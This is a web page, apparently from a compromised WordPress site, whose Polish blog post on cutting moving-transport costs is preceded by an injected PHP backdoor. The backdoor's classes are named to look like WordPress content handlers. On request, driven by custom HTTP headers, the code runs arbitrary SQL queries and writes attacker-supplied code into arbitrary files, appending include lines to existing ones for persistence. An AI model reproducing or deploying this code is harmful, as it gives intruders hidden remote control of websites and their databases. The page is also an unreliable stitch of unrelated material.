n class WP_Content_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Content_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Content_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Content_Handler_Accessor(); $accessor->create(); Transport rzeczy przy przeprowadzce to koszt.

Transport rzeczy przy przeprowadzce to koszt.

Transport rzeczy

Przewóz rzeczy przy przeprowadzce, to coś, co musi wystąpić. Nie ma możliwości przeprowadzki bez transportu, co jest oczywiste, zawsze transport rzeczy generuje zaś koszty.

Trzeba stwierdzić wprost – koszty transportu są dość wysokie, nie tylko z bliżej nieokreślonych powodów. Koszty są spowodowane między innymi kosztami paliwa, które są jakie są. Samochody dostawcze oraz ciężarowe palą bardzo dużo, stąd koszty transportu również są wysokie. Jak je ograniczyć? Odpowiedź nie jest prosta i  jest zależna od tego, czy chodzi o przeprowadzkę samodzielną czy też chodzi o przeprowadzkę zleconą firmie przeprowadzkowej.

Transport rzeczy przy przeprowadzce – jak można obniżyć jego koszt?

W przypadku zlecenia przeprowadzki zewnętrznej firmie, ograniczenie kosztów przeprowadzki może odbyć się tylko w jeden sposób – na etapie wyboru firmy i negocjacji kosztów przeprowadzki. Nie jest tajemnicą, że stawka za kilometr przejazdu, jest jednym z istotniejszych kosztów, które musi zapłacić zleceniodawca, który zleca usługę przeprowadzki innym. Już na etapie wyboru firmy, można odrzucić oferty firm, które za przewóz naliczają krociowe opłaty. Jeśli zdarzy się firma, której oferta jest dość atrakcyjna, ale jednocześnie nie do końca korzystna, warto próbować negocjować stawkę za kilometr przejazdu. To szczególnie ważne, jeśli przewóz ma się odbyć na znaczną odległość. Nawet kilka groszy oszczędności na jednym kilometrze drogi, może dać niemałą oszczędność całkowitych kosztów.

W przypadku przeprowadzki wykonywanej absolutnie samodzielnie, koszt transportu zależy od wielu czynników i tylko po części ma związek z kosztami paliwa potrzebnego na pokonanie trasy przejazdu. Jeśli nie dysponujemy odpowiednim samochodem, należy uwzględnić w kosztach przeprowadzki, jeszcze koszt jego wypożyczenia, ewentualne koszty dodatkowe. Nie można zapominać, że w przypadku niektórych przejazdów, niezbędne będą opłaty autostradowe, konieczne będą takie opłaty jak parkingowe, czy też koszty związane z noclegiem. Przy wielu kilometrach pokonanej trasy, nocleg musi być koniecznością i to również należy uwzględnić w kosztach przejazdu. Nie bez znaczenia są w takiej sytuacji również koszty wyżywienia.

Transport rzeczy przy przeprowadzce

Planując przeprowadzkę w własnym zakresie, należy więc zacząć od jednego – poszukiwania odpowiedniego samochodu. Nie trzeba nikogo przekonywać, że musi to być auto odpowiedniej wielkości. Za małe oznacza konieczność dwukrotnej jazdy, więc koszty przejazdu rosną o wiele bardziej.

Podsumowując.

Bez względu na to, jakiego rodzaju przeprowadzkę wybierzemy, koszt transportu rzeczy jest zupełnie naturalną sprawą. W przypadku transportu wykonywanego przez firmę transportową, sprawa jest banalnie prosta – należy zadbać o to, by wynająć firmę dobra i tanią. W przypadku przeprowadzki samodzielnej, należy zwrócić uwagę na to, by koszty transportu były minimalne. Podnieść je może wynajęcie samochodu do transportu, koszt noclegu, wyżywienia czy opłat autostradowych.

Starając się, można koszty transportu obniżyć do poziomów minimalnych – warto się o to zatroszczyć – oszczędności, które dzięki temu powstaną, z powodzeniem można wykorzystać na inne, lepsze cele.

Leave a Reply